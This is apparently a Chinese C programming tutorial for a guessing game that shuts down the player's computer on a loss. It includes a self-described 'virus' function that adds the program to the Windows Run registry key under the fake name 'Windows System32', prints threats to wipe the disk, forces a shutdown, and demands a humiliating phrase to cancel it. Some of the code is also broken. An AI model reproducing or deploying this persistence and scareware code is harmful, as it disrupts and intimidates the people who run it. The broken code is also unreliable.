程序思路
程序启动时生成一个随机数,玩家需要在3次内猜对该随机数字(随机数范围,次数可以自设)。
玩家每次所猜数字会被与随机数比较大小,大了小了给予提示
游戏分两种模式,正常和杀戮(自设)正常模式游戏失败电脑自动关机,杀戮模式,游戏失败电脑自动关机添加到注册表。
//游戏思路
//使用二分查找的思路写一个猜数字大小的程序,玩家每次键盘上输入一个数字比较其与一个随机数的大小
//每次猜大猜小给予提示,可以猜5次,5次未猜中,给玩家电脑关机
//每次输入后清屏
//游戏倒计时如果玩家在规定的时间内不完成游戏,电脑自动关机
//每次猜错,让玩家的游戏窗口躲避鼠标作为惩罚(待定)
//游戏开始画面菜单打印函数 kai_shi函数
// 游戏设置菜单打印函数 she_zhi函数
// 游戏规则菜单打印函数 gui_ze函数
//生成随机数函数 time函数
// 比较输入的数字与随机数是否相等
// 循环上述5次
//失败惩罚
第一步我们需要一个(play game.c)的源文件
以及一个(game.h)的头文件
我们自己创建一个头文件
是为了防止在写游戏时,函数,变量太多
全部堆在一个.C文件里面,代码别太多,看着费眼睛,当然你完全可以把他们都写在一起
我们最后的头文件长这样
可以看到我们把所有函数,全局变量的申明都放在头文件,但没有定义
所以我们再创建一个(game.c)文件,来定义我们在头文件里声明的函数和变量
在整个工程中以.c为后缀的文件里 引用自己定义的头文件是这样
#include "game.h"//调用自己写的各种函数
如图第二行,我们在game.c文件中引用了我们自己定义的头文件
这个文件,同时定义了game.h中的函数和全局变量
如图我们用了258行定义完了所有的函数和全局变量
下面我们看各个函数怎么实现
1,开始菜单打印函数
int kai_shi()
{
for (;;)//游戏开始画面菜单打印
{
printf("***********************************************************\n");
printf("***********************************************************\n");
printf("************* 小涵的简单俄罗斯转盘 **************\n");
printf("***********************************************************\n");
printf("***********************************************************\n");
printf("*************** 输入1 - 开始游戏 *************\n");
printf("*************** 输入2 - 设置游戏 *************\n");
printf("*************** 输入3 - 查看游戏规则 *************\n");
printf("*************** 输入0 - 退出游戏 *************\n");
printf("***********************************************************\n");
printf("***********************************************************\n");
printf("***********************************************************\n");
printf("***********************************************************\n");
//以上为开始菜单的样子,原理就是“hello world”,草履虫都嫌简单
scanf("%d", &kai_shi_pan_duan);
//此处输入一个数字存放到一个全局变量中
//下面根据输入的这个全局变量判断玩家的行动
if (kai_shi_pan_duan == 1 || kai_shi_pan_duan == 2 || kai_shi_pan_duan == 3
|| kai_shi_pan_duan == 0)
{
break;
}
//但玩家输入的数字是可以执行的数字就退出循环,否则说明玩家瞎输入,就继续打印菜单
else//清屏,提示,继续循环打印菜单
{
system("cls");//清理屏幕
printf("输入错误\n请重新输入\n");
Sleep(2000);//延迟
system("cls");//清理屏幕
}
}
//来到此处说明玩家输入合法数字,此时的全局变量就可以当作玩家行动了
if (kai_shi_pan_duan == 1)//为1是调用后续游戏窗口函数
{
printf_game_windows();//打印游戏窗口涵数
}
if (kai_shi_pan_duan == 2)//为2是调用后续游戏设置函数
{
game_she_zhi();//游戏设置函数
}
if (kai_shi_pan_duan == 3)//为3是调用后续游戏规则函数
{
game_gui_ze();//游戏规则函数
}
if (kai_shi_pan_duan == 0)
//全局变量为0时,开始菜单函数,返回0,等会在游戏里靠这个返回的0结束main函数
//之所以结束游戏要这么麻烦是因为我们的程序
//在进入设置,规则菜单后再返回菜单是递归调用,所以这么麻烦
//反正就是程序已经写成这样了,凑合用吧,懒得删了
//当然可以把我写的开始菜单函数改一下,让这个函数只打印开始菜单就好
//然后至于玩家输入的数字,在游戏main函数里判断,在确定进入后续函数
//函数应该功能简单,我这个属于错误示范
{
return 0;
}
return 1;
}
2,游戏开始画面菜单打印函数 kai_shi函数
就是打印玩家的游戏画面
具体函数如下
//相比上面那个开始菜单函数,这个函数显得好一点,至少他BUG少,两者相比,说明在写函数时应该经量让函数功能单一
3, 游戏设置菜单打印函数 she_zhi函数
void game_she_zhi()
{
for (;;)
{
system("cls");//清理屏幕
printf("设置\n");
printf("\n 随机数范围 ************* 0 - %d *****输入1更改\n", zi_dan);
printf("\n 猜数字次数 ************* 0 - %d *****输入2更改\n", ci_shu);
if (game_mo_shi == 1)
{
printf("\n 游戏模式 ************* 普通模式 ****输入3更改\n");
}
else//game_mo_shi == 0
{
printf("\n 游戏模式 ************* 杀戮模式 ****输入4更改\n");
}
printf(" ****** 输入0返回\n");
scanf("%d", &kai_shi_pan_duan);
int t = 1;
if (kai_shi_pan_duan == 1 )
{
printf("输入你期望随机数的值(3-10000)\n");
scanf("%d", &t);
if (t >= 3 && t <= 10000)
{
zi_dan = t;
}
else
{
system("cls");//清理屏幕
printf("输入错误\n请重新输入\n");
Sleep(2000);//延迟
system("cls");//清理屏幕
}
}
if (kai_shi_pan_duan == 2)
{
printf("输入你期望猜数字的值(1 - 15)\n");
scanf("%d", &t);
if (t >= 1 && t <= 16)
{
ci_shu = t;
}
else
{
system("cls");//清理屏幕
printf("输入错误\n请重新输入\n");
Sleep(2000);//延迟
system("cls");//清理屏幕
}
}
if (kai_shi_pan_duan == 3)
{
game_mo_shi = 0;
}
if (kai_shi_pan_duan == 4)
{
game_mo_shi = 1;
}
if (kai_shi_pan_duan == 0)
{
system("cls");//清理屏幕
break;
}
}//循环打印除非退出
kai_shi();//此处为递归调用必须在循环外,否则问题很多
}
4, 规则说明
void game_gui_ze()
{
for (;;)
{
int kai_shi_pan_duan = -1;
system("cls");//清理屏幕
printf("游戏规则\n");
printf("游戏会生成一个随机数(大小范围可以设置)\n而你有3次机会猜这个数字的大小(可设置)\n");
printf("每次猜错都会有提示你所猜数字与该随机数字相比大小如何\n");
printf("如果你用光你的猜测次数,你的电脑将会关机.\n重启即可。\n如果你觉得这样不够刺激,可以在设置中开起杀戮模式\n");
printf("在杀戮模式下假如你用光了你的猜测次数,你的电脑将感染一个小病毒,他可能没什么危害,但它会让你很不爽\n");
printf("如果你电脑已经不幸中毒,可以尝试360杀毒,该病毒并未尝试隐瞒杀毒软件,你的电脑基本安全\n");
printf("最后,祝你好运\n");
Sleep(5000);//延迟
printf("\n\n\n\n\n\n\n输入1返回\n");
scanf("%d", &kai_shi_pan_duan);
if (kai_shi_pan_duan == 1)
{
break;
}
else
{
system("cls");//清理屏幕
printf("输入错误\n请重新输入\n");
Sleep(2000);//延迟
system("cls");//清理屏幕
}
}
system("cls");//清理屏幕
kai_shi();
//查看完成返回开始菜单
}
5,杀戮模式惩罚函数(这大概算个简单病毒,具体讲解可以看我前面的文章)
int bing_du()
{
char cxlujin[100];//定义个数组存放程序的地址
GetModuleFileName(NULL, cxlujin, sizeof(cxlujin));//查询程序地址(放到cxlujin )
char s[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//定义字符串为注册表开机自启的路径
HKEY hkey;//定义一个注册表的类
RegOpenKey(HKEY_CURRENT_USER, s, &hkey);//打开注册表(打开该注册表,按cxlujin路径,保存到hkey)
RegSetValueEx(hkey, "Windows System32", 0, REG_SZ,
(unsigned char*)cxlujin, 250);
//设置注册表(设置那个注册表,修改该注册表名称,0,注册表类型 ,(强制转换)程序路径,大小)
char mima[20] = { 0 };
printf("(◣ω◢)\n你的电脑被\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学{{|└(>o< )┘|}}\n植入了病毒!!!\n");//给对方造成心理压力
printf("恐惧吧\n感慨吧\n臣服吧\n吓得屁滚尿流吧\n面对如此牛逼的存在你唯一需要做的就是按他说的去做(*Δ*)!\n");
while (1)//对方输错可以继续输入
{
printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");//警告
printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
printf("你的电脑即将在10秒内关机,并删除你所有的硬盘数据!!!!\n");
system("shutdown -s -t 10");//system可以对系统进行操作,shutdown是windows的关机指令-s-t是延时设置
printf("重要的事情我说了5遍!(▼皿▼#)\n害怕吧\n不知所措吧\n忙着关闭电源吧\n");//提示
printf("这些都没有用的\n但是仁慈的\n光辉的\n做人留一线的\n掌握命运的\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n小涵同学\n");
printf("给了你一个拯救你电脑的机会(●—●)\n");
printf("你只需要输入一句简简单单的话\n就可以挽救着一切\n立即输入(目光看向这里╰(‵□′)╯ )\n我是傻逼小涵牛逼\n否则就等着你的电脑关机并删掉你所有的数据吧\n啊哈哈哈哈哈\n一切取决与你 ,你还有不到60秒\n");
scanf("%s", mima);//数组不用取地址符
if (strcmp(mima, "我是傻逼小涵牛逼") == 0)//判断是否正确输入
{
printf("输入正确\n");//正确反馈
break;//跳出循环
}
}
system("shutdown -a");//同上微软取消关机指令
printf("很好,你诚恳的态度得到了小涵同学的认可,所以他放过了你\n");//反馈
好了我们的函数,全局变量以及头文件都搞定了
然后时游戏主函数
在整个工程中main函数只有一个
#define _CRT_SECURE_NO_WARNINGS 1
#include "game.h"//调用自己写的各种函数
//游戏思路
//使用二分查找的思路写一个猜数字大小的程序,玩家每次键盘上输入一个数字比较其与一个随机数的大小
//每次猜大猜小给予提示,可以猜5次,5次未猜中,给玩家电脑关机
//每次输入后清屏
//游戏倒计时如果玩家在规定的时间内不完成游戏,电脑自动关机
//每次猜错,让玩家的游戏窗口躲避鼠标作为惩罚(待定)
//游戏开始画面菜单打印函数 kai_shi函数
// 游戏设置菜单打印函数 she_zhi函数
// 游戏规则菜单打印函数 gui_ze函数
//生成随机数函数 time函数
// 比较输入的数字与随机数是否相等
// 循环上述5次
//关闭电脑
int main()
{
for (;;)//循环是为了让游戏可以多次玩,不用每次玩都重新开程序
{
srand((unsigned int)time(NULL));
sui_ji_shu = rand() % zi_dan;
//上面两行为生成一个随机数
if (kai_shi() == 0)//之前提到的,让开始菜单函数返回0,就是为了在此处直接结束主函数
{
system("cls");//清理屏幕
break;
}
int i = 0;
for (i = 0; i < ci_shu; i++)
//判断输入数字大小是否等于随机数,以及游戏是否胜利
{
scanf("%d", &cai_num);
if (cai_num < sui_ji_shu)
{
printf("大于你的数字");
}
if (cai_num > sui_ji_shu)
{
printf("小于你的数字");
}
if (cai_num == sui_ji_shu)
{
break;//猜对后直接跳出循环
}
}
//下面为游戏结束后的判定,判定游戏失败了就惩罚,赢了就祝贺
if (i >= ci_shu)
//下面是失败惩罚
//第一个是普通惩罚
{
system("cls");//清理屏幕
printf("\n\n\n\n\n 砰!!! \n");
printf("\n很遗憾你没有躲开子弹\n");
printf("你输了! \n");
Sleep(2000);
system("cls");//清理屏幕
printf("再见\n 愿你玩得愉快,祝你好运\n");
Sleep(1000);// 延时1000ms
if (game_mo_shi == 1)
{
system("shutdown -s -t 1");
}
else if(game_mo_shi == 0)
//这个是杀戮惩罚
{
system("cls");//清理屏幕
int bing_du();
}
break;
}
else
//下面为胜利
{
system("cls");//清理屏幕
printf("恭喜你猜对了\n");
printf("\n\n\n\n\n\n\n输入其他再来一局\n输入6退出游戏\n");
scanf("%d", &kai_shi_pan_duan);
if (kai_shi_pan_duan == 6)
{
system("cls");//清理屏幕
printf("已退出\n");
break;//退出游戏
}
system("cls");//清理屏幕
}
}//循环结束标志
//如果胜利就循环继续游戏,当然可以选6就可以直接退出循环
//失败的的话就关机了
return 0;
}